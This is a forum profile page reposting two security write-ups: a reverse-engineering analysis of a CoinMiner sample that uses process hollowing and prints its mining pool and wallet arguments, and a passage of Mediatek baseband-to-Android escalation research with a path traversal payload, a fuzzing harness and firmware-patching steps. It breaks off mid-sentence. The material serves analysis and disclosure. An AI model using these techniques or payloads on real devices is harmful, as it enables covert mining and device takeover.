Jump to content

Nytro

Administrators
  • Posts

    18794
  • Joined

  • Last visited

  • Days Won

    742

Everything posted by Nytro

  1. CoinMiner 7 minutes read SHA256 of sample.exe: 98199294da32f418964fde49d623aadb795d783640b208b9dd9ad08dcac55fd5 Today I’m trying to analyze #CoinMiner, the sample is very interesting because it injects 64-bit process from a 32-bit process, also uses some anti-disassemble and anti-RE techniques. You can download the sample from hybrid-analysis. Let’s open in VM, after executing it creates folder under %LOCALAPPDATA% and writes an executable inside it, uses RunOnce reg key as persistence method, creates notepad.exe process with following arguments: -a cryptonight -o stratum+tcp://xmr-usa.dwarfpool.com:8050 -u 4JUdGzvrMFDWrUUwY3toJATSeNwjn54LkCnKBPRzDuhzi5vSepHfUckJNxRL2gjkNrSqtCoRUrEDAgRwsQvVCjZbS3d2ZdUYfaKLkAbBLe -p x -t 2. (click here to view larger version) Seem like it copies itself to %LOCALAPPDATA% folder, executes notepad.exe with arguments and injects some third-party code. That’s interesting, the malware itself is 32-bit and notepad.exe under the 64-bit system is 64-bit. Let’s dive in deep. At the beginning it decrypts embedded PE file, using the following routine: byte_882040 points to 4JUdGzvrMFDWrUUwY3toJATSeNwjn54LkCnKBPRzDuhzi5vSepHfUckJNxRL2gjkN. After decryption, it patches decrypted PE file: Decompiled version: (click here to view a larger version) After this, it manually maps decrypted PE file into the memory of the current process and jumps into it with call instruction.: It allocates space, copies headers and sections, corrects import table and relocation table: (click here to view a larger version) Start analyzing of sample2.exe which is extracted from sample.exe. We can extract decrypted file after patching. SHA256 of decrypted PE sample2.exe: f558e28553c70a0c3926c8c77e91c699baa3491922ab9cdfb29aa995138d5a08 You can download the file from hybrid-analysis. From the beginning of the executable, we see patched strings from the previous executable: Identfies %LOCALAPPDATA% folder using SHGetKnownFolderPath system call: (click here to view larger version) It allocates a buffer, writes data into it from the file and writes data from the buffer into newly created file under %LOCALAPPDATA% (click here to view larger version) Deletes Zone.Identifier of the file: According to MSDN it’s stream name and used to identify file downloaded from the internet, 3 is internet zone, for more information about ADS visit MSDN. Constructs command line arguments and starts searching for a program to inject: Based on IsWow64Process call it chooses notepad.exe or explorer.exe on x64 systems and wuapp.exe or svchost.exe on x32 systems: (click here to view a larger version) On my x64 Windows 10 there is notepad.exe under C:\Windows and it chooses notepad.exe to inject. It chooses to inject a 32-bit process or a 64-bit one based on IsWow64Process: Injecting into 32-bit process it relatively straightforward, there are our old friends GetThreadContext, ReadProcessMemory, WriteProcessMemory, SetThreadContext and ResumeThread, it’s a typical process hollowing: (click here to view larger version) But my system is 64-bit, so it chooses to inject into the 64-bit process. Checks if there is taskmgr.exe process and loops until closing it: It creates notepad.exe process with arguments: (click here to view larger version) It calls getNtdll (I renamed it), but there is an anti-disassemble technique known as Return Pointer Abuse and even IDA pro can not identify functions bounders correctly, we should change this using ALT+P and set correct end address of the function. After correcting bounders and patching call $+5; mov; retf; instructions, which are just jumping to next addresses, at some point it checks modules and gets an address of ntdll.dll, this is 64-bit dll loaded by notepad.exe. ESI:EDI contains the address of ntdll.dll, to prove this we can use vmmap: (click here to view larger version) It uses getFunction (I renamed it) to get addresses of functions exported by ntdll.dll: Inside that function it uses LdrProcedureAddress call to get address of desire function, it passes LdrProcedureAddress to call_ebp_8 function: call_ebp_8 calls function at first and second parameters (first:second), also all required parameters are pushed. this way it calls functions exported by ntdll.dll. In this case call_ebp_8 calls LdrProcedureAddress and gets address of requested function: The malware uses getNtdll to get address of 64-bit ntdll.dll, call_ebp_8 to call functions exported by ntdll.dll and getFunction to get addresses of desire function from ntdll.dll, getFunction uses call_ebp_8 with LdrProcedureCall as a function argument. Using this functions it calls NtGetContextThread, NtReadVirtualMemory, NtAllocateVirtualMemory, NtWriteVirtualMemory and ResumeThread, as we know this functions are essential for process hollowing. After setting of CONTEXT it resumes thread: Everything this happens in a loop, if we close notepad.exe process it creates one again. We can easily extract 32-bit and 64-bit PE files, which are injected into a target process. We can extract it before calling to NtWriteVirtualMemory: Both 32-bit and 64-bit versions are packed using UPX. After unpacking it, we can disassemble it: It’s cpuminer: A CPU miner for Litecoin, Bitcoin, and other cryptocurrencies, the application to use CPU power to compute hashes and "mine" cryptocurrency: The malware uses following arguments: -a cryptonight -o stratum+tcp://xmr-usa.dwarfpool.com:8050 -u 4JUdGzvrMFDWrUUwY3toJATSeNwjn54LkCnKBPRzDuhzi5vSepHfUckJNxRL2gjkNrSqtCoRUrEDAgRwsQvVCjZbS3d2ZdUYfaKLkAbBLe -p x -t 2 -a - specify the algorithm to use. -o - URL of mining server. -u - username. -p - password. -t - number of miner threads. The malware heavily uses anti-RE techniques which make analysis harder. I know, I overlook many things related to the malware, due to my limited knowledge, if you find something interesting please contact me. I’m new to reversing malware and any kind of feedback is helpful for me.. Twitter: @_qaz_qaz Sursa: https://secrary.com/ReversingMalware/CoinMiner/
  2. Path of Least Resistance: Cellular Baseband to Application Processor Escalation on Mediatek Devices Fri, Jul 28, 2017 György Miru Intro Today’s mobile systems are composed of multiple separate, but highly interconnected processing units, each running their own code. Previous research has proven that these components, especially the wireless baseband processors, are susceptible to remote or vicinity attacks. Such exploits have been demonstrated in practice against all major baseband SoC vendors during the last few years. Compromising the baseband (modem or MD as referred to in MTK source code) is a powerful attack as it provides access to all data passing through the modem while being virtually undetectable by current protection mechanisms. Yet it has its limitations in terms of persistence and usefulness: obviously such a compromise provides no access to client side encrypted data or data transmitted through other channels. A natural next step in the evolution of these types of attacks is to elevate code execution and compromise other processing units, most importantly the application processor (AP). The advantage of attacking the AP through other components is that they can provide a less audited, less secure attack surface. The operating systems running on the application processor are usually equipped with modern defense and exploit mitigation mechanisms, which are continuously being improved, to raise the cost of exploitation. Contrary, other embedded components – such as cellular basebands that are less exposed to end users and traditional attack vectors – historically often received less scrutiny by the security community and vendors. This research aims to provide a methodology to assess and audit interfaces between the different processing units, by following a case study for the HTC One M9+ with a Mediatek chipset and assuming the compromise of the 3G modem. First, the communication channels between the modem and other components are explored and the Android kernel driver, which is responsible for the baseband firmware loading, is investigated. After the general architecture and the communication landscape is introduced, examples are provided for the vulnerability assessment of user space applications that consume data from the modem. These examples include manual investigation (dissecting the remote file system driver) and automated discovery (fuzzing the vendor RIL). Furthermore, I developed a proof of concept exploit for a path traversal vulnerability found in the remote file system driver. The PoC can be utilized to take over the Android system from the compromised baseband. I will walk you through the PoC and the steps in developing it, including the reverse engineering process of the MTK baseband firmware. Finally, in an attempt to complete the exploit chain I also explain how the object files of the baseband firmware’s GSM stack can be fuzzed. Since this research was carried out, Gal Beniamini from Google’s Project Zero published an excellent article about compromising Broadcom Wi-Fi chips and elevating access to the application processor. His work also further indicates that these are not isolated cases and not specific to certain vendors. Rather they are examples of design issues in modern (mobile) operating systems, namely that OS-es inherently trusts the intent and integrity of other processing components and do very little to defend from them. The research has been conducted during my three months internship at Comsecuris and it has proven to be an exciting introduction to the low level security concerns of mobile platforms. Here, I would like to thank Ralf-Philipp Weinmann, Nico Golde and Daniel Komaromy for this incredible opportunity and the valuable insight they have provided throughout the research. Disclosure Timeline 14/11/2016 - Vulnerability disclosed to MTK (no response after multiple requests) 14/11/2016 - Vulnerability disclosed to HTC 18/11/2016 - Vulnerability disclosed to Google (as Lava Pixel phones are also effected) 28/11/2016 - HTC confirms that they informed the vendor 06/12/2016 - HTC reports that the issue is fixed and deployed to product lines 10/02/2017 - Google asks for further clarification, no response ever since (issue is still open) I was not able to verify how Mediatek fixed the issue, whether they published the fixes to all their costumers and whether these fixes made it into fielded devices. The Mediatek Landscape The first step of the research is gathering knowledge about the baseband processor and the low level architecture of the platform. The HTC One M9+ is shipped with a MediaTek MT6795T SoC (codenamed Helio X10) that contains an octa-core application processor (Cortex A53 ARMv8) and the integrated modem CPU. Unfortunately, MTK chips received less attention from the security research community than their competitors (Qualcomm’s Snapdragon and Samsung’s Shannon chipsets), yet a quick search on the Internet provides valuable resources. There is an abundance of leaked MTK datasheets, albeit for different or older chipsets (MT6595, MT6782, etc.) and they contain a high level overview of the SoC layout. Furthermore, Markus Vervier has written an article on attacks that enable active cloning of mobile identities and provides additional details about the Mediatek modem firmware. According to the MTK documents, the modem system is composed of a DSP and an ARMv7 Cortex-R4 MCU. Both reside within the same chip as the application processor. The DSP implements the physical layer of the cellular baseband stack and is out of the scope for this post (when I talk about the modem or baseband processor I refer to the MCU). The ARMv7 core runs the baseband firmware and implements the different cellular data-link and network layer protocols. To establish the possible attack surface from the modem’s point of view, we need to discover and understand the various communication channels between the AP and MD. We also need to identify the respective software components on the AP side, which consume data from the modem. A good place to start looking is the CCCI (Cross Core Communication Interface) kernel driver, which is responsible for the management and supervision of the baseband processor as well as the data exchanges between AP and MD. The bulk of the underlying Android kernel source code, including its drivers, is publicly available. The source code can be downloaded from HTC’s website. The relevant files are located within drivers/misc/mediatek/eccci/ and drivers/misc/mediatek/[dual_]ccci/ directories as part of the kernel source tree. The CCCI driver comprises the CCIF subsystem, which contains the code to set up the low level communication interface between the application processor and the modem. This includes initializing the UART lines, which are mostly used to transmit AT commands and audio data, and setting up a shared memory region that is used to exchange data and control commands. The shared memory is divided into sub regions dedicated to certain tasks for transmitting various IPC commands, modem log entries, remote files and so on. Each of these memory regions are divided into a separate transmit and receive channel and access to these is controlled by a dedicated signal area. The signal area is used as a sort of flow or access control channel to indicate when new data is available in the shared memory buffer or when it has been received by the other party. The remainder of the CCCI driver provides unified access to these channels (including the shared memory and the UART channels) through its own ring buffer implementation. These ring buffers are exposed to the user-space Mediatek binaries through a set of character drivers providing IOCTLs system call handlers. Figure 1 depicts this architecture, including the modem side of the CCCI driver. Most of the logic regarding the management of the modem and processing of its data is implemented in the user-space applications. The kernel driver merely functions as a communication interface (as its name suggests) that controls the communication channels between the modem and the AP. Figure 1: CCCI Overview The other main responsibility of the kernel driver is the actual setup and bring-up of the baseband MCU. This task is initiated and supervised by the user-space ccci_mdinit binary, but carried out by the driver. The initial setup and first boot involves the following steps: Initialize hardware Populate the modem control structure (including the memory addresses for shared memory, modem ROM and RAM) and register callbacks Register the modem and configure its memory areas When the actual boot is triggered: The firmware image is loaded (this is going to be discussed in detail later) The modem is powered on The modem is started The MPU protection is set up The runtime data is sent to the modem Figure 2: Modem Bootup The most interesting part for us is how the memory is set up for the modem by the CCCI driver. Part of the applications processor’s physical memory is reserved for the modem to serve as a RAM, ROM, and the shared memory for the inter chip communication. The baseband firmware image is loaded into the ROM area and parts of it (mostly its data section) into the RAM. Below is a code snippet of how the modem handler and the memory protection is set up for these regions (the actual protection flags will be discussed later). void ccci_config_modem(struct ccci_modem *md) { //... // Get memory info get_md_resv_mem_info(md->index, &md_resv_mem_addr, &md_resv_mem_size, &md_resv_smem_addr, &md_resv_smem_size); // setup memory layout // MD image md->mem_layout.md_region_phy = md_resv_mem_addr; md->mem_layout.md_region_size = md_resv_mem_size; md->mem_layout.md_region_vir = ioremap_nocache(md->mem_layout.md_region_phy, MD_IMG_DUMP_SIZE); // do not remap whole region, consume too much vmalloc space // DSP image md->mem_layout.dsp_region_phy = 0; md->mem_layout.dsp_region_size = 0; md->mem_layout.dsp_region_vir = 0; // Share memory md->mem_layout.smem_region_phy = md_resv_smem_addr; md->mem_layout.smem_region_size = md_resv_smem_size; md->mem_layout.smem_region_vir = ioremap_nocache(md->mem_layout.smem_region_phy, md->mem_layout.smem_region_size); memset(md->mem_layout.smem_region_vir, 0, md->mem_layout.smem_region_size); //... } void ccci_set_mem_access_protection(struct ccci_modem *md) { //... rom_mem_phy_start = (unsigned int)md_layout->md_region_phy; rom_mem_phy_end = ((rom_mem_phy_start + img_info->size + 0xFFFF)&(~0xFFFF)) - 0x1; rw_mem_phy_start = rom_mem_phy_end + 0x1; rw_mem_phy_end = rom_mem_phy_start + md_layout->md_region_size - 0x1; shr_mem_phy_start = (unsigned int)md_layout->smem_region_phy; shr_mem_phy_end = ((shr_mem_phy_start + md_layout->smem_region_size + 0xFFFF)&(~0xFFFF)) - 0x1; CCCI_INF_MSG(md->index, TAG, "MPU Start protect MD ROM region<%d:%08x:%08x> %x\n", rom_mem_mpu_id, rom_mem_phy_start, rom_mem_phy_end, rom_mem_mpu_attr); emi_mpu_set_region_protection(rom_mem_phy_start, rom_mem_phy_end, rom_mem_mpu_id, rom_mem_mpu_attr); CCCI_INF_MSG(md->index, TAG, "MPU Start protect MD R/W region<%d:%08x:%08x> %x\n", rw_mem_mpu_id, rw_mem_phy_start, rw_mem_phy_end, rw_mem_mpu_attr); emi_mpu_set_region_protection(rw_mem_phy_start, rw_mem_phy_end, rw_mem_mpu_id, rw_mem_mpu_attr); CCCI_INF_MSG(md->index, TAG, "MPU Start protect MD Share region<%d:%08x:%08x> %x\n", shr_mem_mpu_id, shr_mem_phy_start, shr_mem_phy_end, shr_mem_mpu_attr); emi_mpu_set_region_protection(shr_mem_phy_start, shr_mem_phy_end, shr_mem_mpu_id, shr_mem_mpu_attr); //... } This kind of setup suggests that the external memory (the DRAM) is shared across the AP and MD with a multiport memory controller, but they have a different view of the memory. The interested reader can learn more about the different shared memory solutions for SoCs in this article. The baseband MCU has its own address space, however, the shared memory can be remapped on both sides to lie at the same address. In our case, the address is different: the shared memory is mapped to a constant 0x40000000 address on modem side while it remains at the original physical address on the AP side. The AP uses the offset between this physical and the remapped modem address to adjust the different pointers, written to the shared memory, as they are treated as absolute memory addresses on the modem side. In the same function the ROM is also remapped to be on the zero address for the modem. remainder = smem_offset % 0x02000000; md->mem_layout.smem_offset_AP_to_MD = md->mem_layout.smem_region_phy - (remainder + 0x40000000); set_md_smem_remap(md, 0x40000000, md->mem_layout.md_region_phy + (smem_offset-remainder), invalid); CCCI_INF_MSG(md->index, TAG, "AP to MD share memory offset 0x%X", md->mem_layout.smem_offset_AP_to_MD); set_md_rom_rw_mem_remap(md, 0x00000000, md->mem_layout.md_region_phy, invalid); The key takeaway is that the ROM and RAM of the baseband RTOS is present in the application processor’s memory, thus it has access to it. The AP serves as a sort of master to the MD and can power-cycle the modem and access some of its registers to set up the initial memory mappings. This means a kernel module can be used to retrieve a handle to the modem struct, read the addresses of these memory regions and dump their content. Below is the output of such tool: Sending ioctl: 8008d200 [md_dump] modem 0 info MD:lwg*MT6795_S00**2015/05/05 18:19*Release AP:lwg*MT6795E1*08000000 (MD)07a00000 [md_dump] modem 1 info [md_dump] modem 2 info [md_dump] modem 3 info [md_dump] modem 4 info [md_dump] modem 5 info Sending ioctl: 8008d201 [md_dump] driver used by modem: ECCI@ Sending ioctl: 8008d202 [md_dump]----dumping modem info---- [md_dump] Modem 0 at: ffffffc0a6848000 [md_dump] Rom: [md_dump] Phys start: e8000000 [md_dump] Virt start: ffffff8000792000 [md_dump] size: 8c3aac [md_dump] Ram: [md_dump] Phys start: e88d0000 [md_dump] Virt start: ffffff8001060000 [md_dump] size: 7730000 [md_dump] Shm: [md_dump] Phys start: f0000000 [md_dump] Virt start: ffffff8000800000 [md_dump] size: 200000 [md_dump] offset to MD: b0000000 [md_dump] CCIF base: 0 [md_dump] SIM type: eeeeeeee [md_dump]----End of Dump---- To dump the actual content of these memory regions the physical addresses must be used as they are only partially present in the kernel’s virtual address space. If we wish to access the RAM, one more step is required as it is protected from the AP by the External Memory Interface’s (EMI) MPU. This protection can be removed by calling the ccci_clear_md_region_protection routine, which wipes the MPU protection from the modem memory regions. With the help of the same kernel module and /dev/mem it is possible to monitor the communication between the modem and the AP and to inject arbitrary commands. Bug Hunting Now that we have a general idea about what kind of data is controlled by the modem and how it is processed, it is time to look for bugs that can be leveraged to gain code execution. The CCCI kernel driver is a tempting target as a vulnerability there would potentially grant complete control over the Android system. However, it mostly serves as a gateway between the modem and the user-space applications without processing most of the data, which significantly reduces the attack surface. This of course does not guarantee that there are no vulnerabilities in the kernel driver, but I decided to focus my attention on the user-space applications as they appeared to be the easier targets. There is just one low hanging fruit that must be investigated before moving on to the user-space. With this kind of shared memory model if the EMI MPU is not configured correctly the modem could potentially write into the kernel address space, which can lead to an easy compromise. Let’s take a closer look at how the EMI MPU protection is set up (only relevant parts of the source code are shown): #define SET_ACCESS_PERMISSON(d3, d2, d1, d0) (((d3) << 9) | ((d2) << 6) | ((d1) << 3) | (d0)) rom_mem_mpu_attr = SET_ACCESS_PERMISSON(FORBIDDEN, FORBIDDEN, SEC_R_NSEC_R, SEC_R_NSEC_R); rw_mem_mpu_attr = SET_ACCESS_PERMISSON(FORBIDDEN, FORBIDDEN, NO_PROTECTION, FORBIDDEN); shr_mem_mpu_attr = SET_ACCESS_PERMISSON(FORBIDDEN, FORBIDDEN, NO_PROTECTION, NO_PROTECTION); ap_mem_mpu_attr = SET_ACCESS_PERMISSON(NO_PROTECTION, FORBIDDEN, SEC_R_NSEC_R, NO_PROTECTION); CCCI_INF_MSG(md->index, TAG, "MPU Start protect AP region<%d:%08x:%08x> %x\n", ap_mem_mpu_id, kernel_base, (kernel_base+dram_size-1), ap_mem_mpu_attr); emi_mpu_set_region_protection(kernel_base, (kernel_base+dram_size-1), ap_mem_mpu_id, ap_mem_mpu_attr); The leaked MTK documents help significantly with deciphering what we see here. Domain 0 is identified as the application processor domain, domain 1 is dedicated for the modem MCU, while domain 2 controls the DSP, and finally domain 3 is associated with the multimedia engine. With that information in mind we can see that the MD ROM address range is readable by the AP and the MD in secure mode, the RAM is only accessible to the modem and shared memory is available to both of them. Unfortunately, the rest of the physical DRAM (starting from the Android kernel base) is only readable by the MD so direct overwrite of the kernel is not possible. As previously shown in Figure 1, there are quite a number of user space application that utilize the modem services. Auditing all of them is a really ambitious task as some of them are quite large and source code is generally not available. Due to the limited time frame of my internship and therefore the research, I decided to investigate the two most promising candidates. The Radio Interface Layer (RIL) daemon is responsible for the messaging between the Android telephony services and the modem hardware. It includes a vendor RIL portion, which provides vendor-specific glue code between Android RIL and proprietary modem interfaces. Its duties include the dispatching of unsolicited commands. These commands are initiated by the modem on certain events and parsed by the vendor RIL library. The structure of these commands comply with the traditional Hayes AT command format with proprietary extensions that can get fairly complex in detail. This means that the modem can send controlled data at arbitrary times that is going to be parsed as AT commands by the vendor RIL implementation. Because of this the RIL library serves as an excellent target for fuzzing. The second promising candidate is the ccci_fsd application, which provides a remote virtual file system for the modem to store persistent configuration files. The modem does not have its own file system. Furthermore, it does not have direct access to any non volatile memory. This necessitates that configuration parameters, which need to be kept across modem reboots, must be stored on the AP side. The ccci_fsd binary and CCCI kernel driver together provide the NVRAM file system API that is used by the modem to access the files under /data/nvram/md on the AP file system. A common mistake in such file system implementations is the improper sanitization of path strings resulting in path traversal vulnerabilities. Such vulnerabilities can easily be verified by manually reverse engineering the parts of theccci_fsd binary that handle opening files. Fuzzing the Vendor RIL The MTK RIL implementation is proprietary, however, there are leaked sources for previous versions. From a quick glance it becomes obvious that the MTK implementation follows the Android reference RIL closely. This is good news, because it means that most of the public documentation about RIL applies to our target. The figure below illustrates how unsolicited commands are processed usually and what functions are called. Figure 3: Command Flow in RIL On the device, the vendor RIL is implemented in the mtk-ril.so library and just like the reference implementation it receives unsolicited commands in the readerLoop function. The reader loop originally reads from the /dev/ttyC0 device or, in case CMUX multiplexing is used, from one of the pseudo- terminals provided by the gsm0710muxd application. These communication channels can be monitored and modified by setting up a Man-in-the-Middle pseudo terminal for /dev/ttyC0 following the steps outlined in Fabien Sanglard’s article. The reader loop simply expects a channel description as an argument, which determines from where commands are read and where they are dispatched. For fuzzing, we can set up this channel descriptor to read from STDIN rather than PTY devices and then dispatch the commands to the usual handler for parsing. Setting up the channel is straightforward. Following is an excerpt from the relevant code (the complete AFL wrapper is available here): memset(&channel, 0, sizeof(channel)); channel.fd = STDIN_FILENO; channel.ATBufferCur = channel.ATBuffer; channel.myName = "RIL_CMD_READER_1"; channel.id = 1; channel.unsolHandler = (libBase + 0x10AD0); //onUnsolicited channel.readerClosed = 0; channel.responsePrefix = NULL; channel.smsPDU = NULL; channel.p_response = NULL; channel.tid_reader = syscall(SYS_gettid); // call reader loop printf("[INFO] Starting the event handler\n"); readerLoop = (libBase + 0x2f020); (*readerLoop)((void*)&channel); One issue remains before AFL can drive our target: the readerLoop reads commands in an infinite loop which is inconvenient for fuzzing with AFL. As a workaround, we patch a single instruction at the end of the loop so that the reader would return after processing the command. In hindsight, it probably would have been easier to skip the reader loop and directly call the unsolicited handler, feeding it the AFL input and the fake channel description. Due to the limited time available for this research I could not run the fuzzer extensively. Still, I had a few promising crashes, following up on these is left to be done in the future. Manually Analyzing the ccci_fsd Binary As introduced previously, the ccci_fsd program is used to provide access to persistent storage to the modem. The CCCI driver is used to transmit the requests and subsequently reading or writing data, but it is the ccci_fsd user space program that ultimately executes the file operations on the AP system. The concept is further detailed by the Mediatek documentation. Figure 4: NVRAM File Transfer with CCCI The reverse engineering process of the binary is assisted by the significant amount of Android log messages. A quick glance at the strings tells us that a conventional file system API is implemented with the usual read, write, open, close, seek and delete operations. We can set up an LD_PRELOAD hook to monitor the communication (or simply run strace on the application) and observe the custom protocol that is used to transmit the file system API requests and responses through the ccci_fs character device: 00000000 00 00 00 00 5c 00 00 00 0e 00 b8 04 00 00 00 00 |....\...........| 00000010 01 10 00 00 02 00 00 00 36 00 00 00 5a 00 3a 00 |........6...Z.:.| 00000020 5c 00 4e 00 56 00 52 00 41 00 4d 00 5c 00 4e 00 |\.N.V.R.A.M.\.N.| 00000030 56 00 44 00 5f 00 44 00 41 00 54 00 41 00 5c 00 |V.D._.D.A.T.A.\.| 00000040 4d 00 54 00 34 00 41 00 5f 00 30 00 30 00 31 00 |M.T.4.A._.0.0.1.| 00000050 00 00 00 00 04 00 00 00 00 04 01 20 00 00 00 00 |........... ....| As shown in the above excerpt of a communication trace, the API uses a DOS-style path format with drive letters, backslash separators, and uppercase wide character file and directory names. A quick search for this file on the Android system reveals that it is located under /data/nvram/md/NVRAM/NVD_DATA/MT4A_001 with a set of other similar binary config files. Next, we need to figure out how the DOS style path is converted into Unix path and how it is sanitized. Locating the open function in IDA is trivial due to the high number of log strings and the straightforward code: Figure 5: FS_Open in IDA Pro The w16toc_change_path_delim function copies the received path string to a stack buffer while converting it from wide character to 8 bit char representation and replacing backslashes with forward slashes. After that, the first two characters are checked for containing any of the allowed drive letters (Z:, X:, Y: and W:). If matching, a length check is performed on the remainder of the path and the associated prefix path. The W: drive is handled slightly differently as it is used to retrieve the DSP firmware image. Other drive letter map to certain paths. E.g. Z: maps to /data/nvram/md. The final path string is generated by concatenating the received path and the prefix and passing the result to the open system call. Leveraging the MTK Path Traversal Vulnerability This means that there is no input sanitization at all, so the modem can get a handle and potentially overwrite any file on the AP system that the ccci_fsd application has permission to access. As an example the path Z:..\..\..\system\bin\ls is turned into /data/nvram/md/../../../system/bin/ls. However, the system partition is read-only. The ccci_fsd daemon is run as the radio user, which is part of the system group and it also has some further restrictions enforced by SELinux. Dumping the compiled /sepolicy file (by running sesearch on it) reveals that the binary is restricted to access nvram data files, the ccci drivers and config files, but also the platform block devices under /dev/block. Filtering the list of these devices for those that can be written by the system group yields us the following result: brw-rw---- root system 179, 0 2016-08-31 11:00 mmcblk0 brw-rw---- root system 179, 32 2016-08-31 11:00 mmcblk0boot0 brw-rw---- root system 179, 64 2016-08-31 11:00 mmcblk0boot1 brw-rw---- root system 179, 1 2016-08-31 11:00 mmcblk0p1 -> proinfo brw-rw---- root system 179, 13 2016-08-31 11:00 mmcblk0p13 -> secro brw-rw---- root system 179, 14 2016-08-31 11:01 mmcblk0p14 -> para brw-rw---- root system 179, 2 2016-08-31 11:00 mmcblk0p2 -> nvram brw-rw---- media system 259, 0 2016-08-31 11:00 mmcblk0p32 -> control brw-rw---- root system 259, 8 2016-08-31 11:00 mmcblk0p40 -> boot brw-rw---- root system 259, 9 2016-08-31 11:00 mmcblk0p41 -> recovery brw-rw---- root system 179, 8 2016-08-31 11:00 mmcblk0p8 -> seccfg Great! The first item of the list is the raw device for the internal flash that contains the system image including the system partition. This means that the modem is able to open the mmcblk0 raw devices, and as a result, search the device for the binary data of an executable (preferably one that is run as root) and overwrite it with arbitrary code, thus compromising the Android system. To test this theory in practice we need to examine the modem RTOS, discover how the NVRAM API is used from within the modem, and finally modify the firmware to create a proof of concept exploit. Analyzing the Modem Firmware There are multiple ways to obtain the modem firmware image. As introduced earlier, the ROM image is present in the AP memory and can be dumped. The firmware image file is also present on the AP file system as it is loaded by the CCCI kernel driver. I decided to first take a look at the code that loads the driver. From an architectural perspective the firmware loading works as follows: First, the image is retrieved and opened Next, its signature is checked Finally, the image is decrypted and copied to the reserved ROM memory This sounds good, however, if we take a closer look we can spot multiple issues with it. For some reason only the first 0x18000 bytes of the image is encrypted, while the rest is stored in cleartext. This alone would not be a problem, but the real issue here is that the hash, that is used to verify the image and signed by Mediatek: it is only calculated over the headers! This leaves the actual firmware data without any sort of integrity protection. As a result, modified or corrupted images are loaded by the CCCI driver without a problem. As a reference for the interested reader, the actual image format is composed of an image header, a cipher header, the actual data, verification hash, the signature, and the extension headers. Figure 6: Firmware Image Headers To obtain the raw image from the one stored on the device (as /system/etc/firmware/modem_1_lwg_n.img) we can write a program that removes the headers and trailers and decrypts the image. The firmware is encrypted with AES-128 and the keys are statically compiled and encoded within the kernel. They can either be dumped from kernel memory or a kernel module can be used for hijacking the sec_aes_init (source) and lib_aes_dec (source) routines and subsequently decrypting the image. Now that we have obtained the raw image we can load it in IDA for manual analysis. A few Mediatek debug utilities provide tremendous help during the reverse engineering of the firmware image. First of all, there are modem trace log files available under /mnt/shell/emulated/0/mtklog. These are helpful in tracking the firmware execution flow. By default only critical events are reported, but the log level can be controlled with the /system/etc/mtklog-config.prop config file to include non-critical events as well. Another useful utility is the /sys/devices/virtual/misc/md32/md32_ocd virtual device, which provides remote debugging capabilities for the modem. Lastly, there is also an executable (also called md32_ocd), which implements basic functionality such as setting and reading modem registers, reading and writing memory, and powering on and off the device. Unfortunately, it seems to be disabled by default on production devices and the requested operations fail silently. I could not find a way to re-enable it and I am unsure if it is possible at all. It might be permanently disabled by a blown fuse, but more likely it can be enabled by some configuration setting or kernel API since the associated driver is compiled into the kernel. Out of the many debug facilities, the one that turned out to be the most valuable is a symbol file kept under /mnt/shell/emulated/0/mtklog/mdlog1/MDLog1_*date*/DbgInfo_*modem-version*. This file contains all the function names and respective addresses that appear in the firmware image. Furthermore the parity bit of the function address tells whether the given function is compiled in ARM or Thumb-2 mode. I wrote an IDA python script that parses this file and defines all functions and provides us with a fully populated IDB (see Figures 7a and 7b for the results). The T segment register can be set to switch between ARM and thumb mode then code and functions can be defined. Figure 7a: IDA Navigator Before the Symbol File is Processed Figure 7b: IDA Navigator After the Symbol File is Processed If this was not enough, partial source code of the MT6795 modem is publicly available for unknown reasons. With all these resources at hand, we can reduce the reverse engineering effort and still form a relatively complete picture of the modem system. The MD firmware is a Nucleus RTOS image and uses a customized version of the CCCI driver for the inter-chip communication. Just like on the AP side the driver can be split into two main components: the lower layer CCCI-CCIF is responsible for providing an interface to the shared memory channels, while the other part of the driver provides access to the CCCI services to the Nucleus tasklets. The most interesting part of the firmware is its NVRAM implementation details on how the modem retrieves files from the AP system. This will be useful for further developing a PoC. The modem’s NVRAM API relies on the services of a Nucleus driver called ccci_fs, which is used to access the remote file system. The actual remote file system API is implemented in the ccci_fs_apis.c source file and it contains similar functions to what we have observed in the ccci_fsd application. Taking a closer look at the defined functions reveals a conventional file system API as can be seen below: kal_int32 MD_FS_Open(const WCHAR * FileName, kal_uint32 Flag); kal_int32 MD_FS_Close(FS_HANDLE FileHandle); kal_int32 MD_FS_Read(FS_HANDLE FileHandle, void *DataPtr, kal_uint32 Length, kal_uint32 *Read); kal_int32 MD_FS_Write(FS_HANDLE FileHandle, void *DataPtr, kal_uint32 Length, kal_uint32 *Written); kal_int32 MD_FS_Seek(FS_HANDLE FileHandle, kal_int32 Offset, kal_int32 Whence); Just like in the ccci_fsd binary the MD_FS_Open call expects a wide char string as a filename. It is filled into a parameter structure and passed to the AP side through the shared memory interface. The format of these parameters correlates with what was seen in the intercepted data from the LD_PRELOAD-ed ccci_fsd application. The rest of the API is designed similarly and each of these functions fill the same structure, containing a command code for the requested operation and the parameter. A command code identifies the requested operation and the parameter contains associated data such as the filename or the read or written bytes. Potential Backdoor Functionality Before moving on to writing the actual proof of concept, there is just one thing that must be mentioned here. While looking through the Helio X10 modem sources, I stumbled upon a very suspicious looking source file called rmmi_ats.c. It implements custom AT commands that triggers “telemetry” collection routines such as capturing keyboard and touch events, the current picture of the screen, or the output of the phones camera. It is even capable of emulating key presses and provides many other similar functionality, all with questionable intent. These functions can be executed remotely from the ISP side by sending the associated AT commands to the phone. Even though it is not compiled into the firmware image of the researched device, it still highlights potential capabilities of a compromised baseband. This further stresses the importance of strict security gaps between the hardware components of such platforms (be it mobile, embedded or any other device) and raises questions about how much one can trust third party closed source applications. Before jumping to a quick conclusion, I would like to emphasize that these source files are coming from the Internet from unknown sources, they are definitely not official and cannot be considered genuine. Still, it is an interesting research question whether other Mediatek devices with similar chipsets contain this code (especially from the Chinese market) in production. Proof of Concept Exploit Recall that the original assumption of the research was that baseband chips can get compromised in the first place, as previously demonstrated by other researchers (including Comsecuris). To simulate such a compromise we can directly modify and patch the firmware image to run our proof of concept code. This is possible due to the aforementioned lack of proper secure boot. At least, the CCCI driver fails to validate the integrity of the loaded image so this ability is given in practice. All we need is a good victim function that can be overwritten by our code to extend the firmware’s functionality. An ideal candidate can be triggered from the AP and would not disrupt the regular operation of the modem (too much). Such functions are the AT command handlers itself. A victim that satisfies such conditions is the rmmi_vts_hdlr handler, which is executed upon receipt of an AT+VTS command. The benefit of modifying this function is that it is located in cleartext portion of the firmware image. Therefore, there is no need to bother with decrypting and encrypting the image file while developing the PoC. Another useful routine is rmmi_write_to_uart, which can be used to send messages to the AP through the same serial line that is used to transmit AT commands. This provides us some much-needed debug 